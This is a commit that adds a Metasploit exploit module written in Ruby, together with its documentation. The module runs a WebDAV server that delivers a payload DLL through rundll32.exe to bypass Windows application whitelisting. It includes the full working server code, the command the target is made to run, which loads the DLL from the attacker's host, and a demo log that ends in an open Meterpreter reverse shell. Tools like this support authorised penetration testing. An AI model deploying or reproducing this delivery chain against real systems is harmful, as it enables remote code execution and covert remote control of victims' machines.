Land #10429, Add webdav delivery module
commit
23c52d13f0
|
@ -0,0 +1,44 @@
|
|||
# Introduction
|
||||
|
||||
This module simplifies the rundll32.exe Application Whitelisting Bypass technique
|
||||
|
||||
The module creates a webdav server that hosts a dll file. When the user types the provided
|
||||
rundll32 command on a system, rundll32 will load the dll remotly and execute the provided
|
||||
export function.
|
||||
|
||||
The export function needs to be valid, but the default meterpreter function can be anything.
|
||||
The process does write the dll to `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV`
|
||||
but does not load the dll from that location. This file should be removed after execution.
|
||||
|
||||
The extension can be anything you'd like, but you don't have to use one. Two files will be
|
||||
written to disk. One named the requested name and one with a dll extension attached.
|
||||
|
||||
Please note that there is a slight delay for the target to start making WebDAV requests,
|
||||
and then getting a session back.
|
||||
|
||||
# Demo
|
||||
|
||||
```
|
||||
msf5 exploit(windows/misc/webdav_delivery) > run
|
||||
[*] Exploit running as background job 3.
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.249.1:4444
|
||||
msf5 exploit(windows/misc/webdav_delivery) > [*] Using URL: http://172.16.249.1:8080/
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
rundll32.exe \\172.16.249.1@8080\ANYTHING,Init
|
||||
[*] 172.16.249.130 webdav_delivery - GET /ANYTHING
|
||||
[*] Sending stage (180291 bytes) to 172.16.249.130
|
||||
[*] Meterpreter session 4 opened (172.16.249.1:4444 -> 172.16.249.130:49219) at 2018-12-12 13:25:06 -0600
|
||||
|
||||
msf5 exploit(windows/misc/webdav_delivery) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
4 meterpreter x86/windows 172.16.249.1:4444 -> 172.16.249.130:49219 (172.16.249.130)
|
||||
|
||||
msf5 exploit(windows/misc/webdav_delivery) >
|
||||
```
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Serve DLL via webdav server',
|
||||
'Description' => %q(
|
||||
This module simplifies the rundll32.exe Application Whitelisting Bypass technique.
|
||||
The module creates a webdav server that hosts a dll file. When the user types the provided rundll32
|
||||
command on a system, rundll32 will load the dll remotly and execute the provided export function.
|
||||
The export function needs to be valid, but the default meterpreter function can be anything.
|
||||
The process does write the dll to C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
|
||||
but does not load the dll from that location. This file should be removed after execution.
|
||||
The extension can be anything you'd like, but you don't have to use one. Two files will be
|
||||
written to disk. One named the requested name and one with a dll extension attached.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ryan Hanson <ryan.hanson[at]optiv.com>', # research discovery (@ryhanson)
|
||||
'James Cook <james.cook[at]optiv.com>' # MSF Module (@_jbcook)
|
||||
],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'Platform' => %w[win],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999'))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URIPATH', [true, 'The URI to use (do not change).', '/'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def primer
|
||||
if datastore['URIPATH'] != '/'
|
||||
fail_with(Failure::BadConfig, 'Using WebDAV requires URIPATH=/')
|
||||
end
|
||||
print_status('Run the following command on the target machine:')
|
||||
webdav = ''
|
||||
if datastore['SSL']
|
||||
if datastore['SRVPORT'] != 443
|
||||
fail_with(Failure::BadConfig, 'SRVPORT must be 443')
|
||||
end
|
||||
webdav = "#{datastore['SRVHOST']}@ssl"
|
||||
else
|
||||
webdav = "#{datastore['SRVHOST']}@#{datastore['SRVPORT']}"
|
||||
end
|
||||
print_line("rundll32.exe \\\\#{webdav}\\ANYTHING,Init")
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
if _request.uri.downcase =~ /\.config/
|
||||
process_ignore(cli, _request)
|
||||
return
|
||||
elsif _request.uri.downcase =~ /\.manifest/
|
||||
process_ignore(cli, _request)
|
||||
return
|
||||
end
|
||||
case _request.method
|
||||
when 'OPTIONS'
|
||||
process_options(cli, _request)
|
||||
when 'PROPFIND'
|
||||
process_propfind(cli, _request)
|
||||
when 'GET'
|
||||
process_get(cli, _request)
|
||||
else
|
||||
process_ignore(cli, _request)
|
||||
end
|
||||
end
|
||||
|
||||
# Cli comes from Rex, not from the HttpServer mixin, so we need to make our own send_not_found
|
||||
def send_not_found(cli)
|
||||
resp_404 = create_response(404, 'Not Found')
|
||||
resp_404.body = %Q{\
|
||||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||
<html><head>
|
||||
<title>404 Not Found</title>
|
||||
</head><body>
|
||||
<h1>Not Found</h1>
|
||||
<p>The requested URL was not found on this server.</p>
|
||||
<hr>
|
||||
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
||||
</body></html>
|
||||
}
|
||||
|
||||
cli.send_response(resp_404)
|
||||
end
|
||||
|
||||
def process_ignore(cli, _request)
|
||||
vprint_status("#{_request.method} => 404 (#{_request.uri})")
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
def process_options(cli, request)
|
||||
vprint_status("OPTIONS #{request.uri}")
|
||||
headers = {
|
||||
'Allow' => 'GET,HEAD,PUT,DELETE,MKCOL,COPY,MOVE,PROPFIND,OPTIONS',
|
||||
'DAV' => '1',
|
||||
'Connection' => 'keep-alive'
|
||||
}
|
||||
resp = create_response(207, 'Multi-Status')
|
||||
headers.each_pair { |k, v| resp[k] = v }
|
||||
resp.body = ''
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def process_propfind(cli, request)
|
||||
vprint_status("PROPFIND #{request.uri}")
|
||||
changed = Time.now.strftime('%a, %d %b %Y %H:%M:%S GMT')
|
||||
created = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
filename = request.uri.delete('/')
|
||||
p = regenerate_payload(cli)
|
||||
data = generate_payload_dll(code: p.encoded)
|
||||
prop_resp = prop_response(filename, created, data.length, changed)
|
||||
vprint_status("Resp: #{prop_resp}")
|
||||
resp = create_response(207, 'Multi-Status')
|
||||
headers = {
|
||||
'Transfer-Encoding' => 'chuncked',
|
||||
'Connection' => 'keep-alive'
|
||||
}
|
||||
headers.each_pair { |k, v| resp[k] = v }
|
||||
resp.body = prop_resp
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def process_get(cli, request)
|
||||
print_status("GET #{request.uri}")
|
||||
resp = create_response(200, 'OK')
|
||||
headers = {
|
||||
'Content-Type' => 'aplication/octet-stream',
|
||||
'Accept-Range' => 'bytes'
|
||||
}
|
||||
headers.each_pair { |k, v| resp[k] = v }
|
||||
p = regenerate_payload(cli)
|
||||
data = generate_payload_dll(code: p.encoded)
|
||||
resp.body = data
|
||||
cli.send_response(resp)
|
||||
end
|
||||
|
||||
def prop_response(filename, created, length, changed)
|
||||
%(<?xml version="1.0" encoding="utf-8" ?>
|
||||
<D:multistatus xmlns:D="DAV:">
|
||||
<D:response>
|
||||
<D:href>/#{filename}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<D:creationdate>#{created}</D:creationdate>
|
||||
<D:displayname>#{filename}</D:displayname>
|
||||
<D:getcontentlanguage/>
|
||||
<D:getcontentlength>#{length}</D:getcontentlength>
|
||||
<D:getcontenttype/>
|
||||
<D:getetag/>
|
||||
<D:getlastmodified>#{changed}</D:getlastmodified>
|
||||
<D:lockdiscovery/>
|
||||
<D:resourcetype/>
|
||||
<D:source/>
|
||||
<D:supportedlock/>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue